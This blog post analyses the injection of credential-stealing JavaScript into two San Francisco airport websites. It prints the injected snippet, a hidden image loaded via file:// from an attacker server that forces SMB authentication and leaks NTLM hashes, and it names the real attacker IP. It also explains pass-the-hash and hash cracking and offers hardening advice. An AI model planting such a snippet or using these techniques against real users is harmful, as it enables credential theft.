A cyber security incident allowed stealing Windows credentials of some SFO website visitors. Here is what happened.

SFO is one of the seventh busiest airports in the US, with some 50 million passengers per year in normal (non-pandemic) times. For such a complex infrastructure, it is normal to expect all kinds of security and safety challenges; cyber security is one of them.

While their main website is flySFO.com, there are various other sites run by the airport. Among others, SFO Connect was created to provide information to their employees, tenants and vendors, while SFO Construction (now just redirecting you to a separate page on the main site), facilitates communication with contractors and other third parties about ongoing or planned construction works.

Earlier this year the two aforementioned side-sites have had a serious cyber security incident: a malicious code snippet has been injected into the code of these two sites, allowing attackers to steal visiting users’ local credentials as long as the victims’ computers were running Windows OS and using Internet Explorer.
We still don’t know how the malicious code got injected into these two web pages in the first place; SFO officials did not exclude any possibilities. Most probably it was an internal attack: an employee (authorized or not) planting it there by using their own credentials.

Stealing credentials with forced authentication

What this maliciously added script was able to do was more interesting. As always, the dropped code snippet was not large; according to ESET Research, the injected JavaScript code was simply the following:

bL=document.getElementsByTagName("body");
el=document.createElement("img");
el.style.width="1";
el.style.height="1";
el.style.visibility="hidden";
el.src=file://<…ip_address…>/icon.png;
bL[0].appendChild(el);
//--><!]]>

 

As you can see from the above, the injected code simply adds an invisible 1×1 pixel image to the Web page, specifying the source of the image to be on a remote server that was actually operated by the attackers. The IP address (that we omitted from the snippet to make sure you don’t click on it, but was actually 51.159.28.101) may have even served an arbitrary icon.png, but that is not the issue here.

Since the scheme (protocol) in the link was “file:” and not “http:”, the request for the image happened via the Server Message Block (SMB) protocol on Windows machines. SMB is responsible for communicating with – and sharing access to – various network resources and peripherals, like printers, file systems or serial ports. It became quite (in)famous lately. Its old version (v1, written yet in the early ’90s) was responsible for the WannaCry ransomware some years ago. The SMBGhost vulnerability in the most recent version (v3) also caused some cyber security trouble earlier this year.

The problem with the above requests originating from an SFO and reaching the attackers’ server lies in the fact that SMB by default attaches the Windows account name (the logged in victim’s username on his or her local machine) to them along with the victim’s credentials. This latter means a hashed password of course (NTLM hash), but an attacker with the right amount of skills, tools and processing power can retrieve the plaintext from it in a reasonable time.

The credentials will not reach any Web applications on the targeted malicious server. The server will just use the received credentials to do an NTLM authentication there – if it runs Windows OS, and/or implements NTLM at all. However, since the attackers are in full control of this machine, they can set up a network sniffer to log all requests and credentials so that they can process them later.

Forced authentication

The common cyber security trick described above is called forced authentication. In this scenario attackers invoke or force some mechanism that automatically implies authentication towards a third party. They can abuse this process to send some credential material of the user towards themselves. The target is either a server directly in their control, or they can also do network spoofing to derail the network identification, e.g. poisoning NetBIOS Name Service (NBT-NS) or LLMNR Link-Local Multicast Name Resolution (LLMNR) on Windows. The bottom line is: attackers will learn the desired sensitive information. Specifically, in case of SMB we call it the SMB Relay attack. We have seen a number of examples for this, for instance this was one of the consequences of a Zoom vulnerability that was revealed at about the same time as the SFO incident.

The obtained credentials can be used in a pass-the-hash attack (PtH), when a hash is simply reused to log in to a Windows network without actually knowing the corresponding plaintext. One can also just crack the hash to learn the plaintext password of the user. In case of weak and commonly used passwords, a dictionary attack may be successful by using appropriate tools, like Hashcat, and a database of common passwords leaked elsewhere, for instance RockYou. If nothing else works, brute forcing is also an option. For that of course one would need a remarkable amount of processing power for longer passwords. But this has never been an issue for high profile attackers.

The SFO story – cyber security takeaways

As one of the sites involved was SFO Connect, the most probable victims were employees of SFO. Hackers with access to the airport’s network could use the obtained credentials to access any intranet resources. As ESET Research revealed the problem, they immediately informed SFO. The airport team not only removed the malicious snippet from the website, but also enforced a password reset for the email and network accounts of all potentially affected users.

For all external users connecting to the SFO website with Internet Explorer, the SFO team strongly suggested to change their passwords. In addition to this – since password reuse is rather dangerous, but unfortunately a quite common practice –, if users were reusing the same password at other services, they should change those, too.

Finally, as a cyber security-aware user, or if you are managing other peoples’ computers, it is a good idea to take some hardening steps as a precaution against the SMB features mentioned above. You can enable SMB signing that ensures integrity and authenticity (but somewhat degrades speed). Or you can completely disable LLMNR or NBT-BS; especially if you don’t need them anyway. A more sophisticated detection measure for programmers could be to craft a script that makes NBNS (Netbios Name Service) or LLMNR requests to non-existent targets; if you hear back from them, you know you have a poisoned environment.

We cover how to properly perform environment hardening in many of our training courses. In particular, our AWS and Azure courses cover how to properly configure and harden application deployments as well as the environments themselves.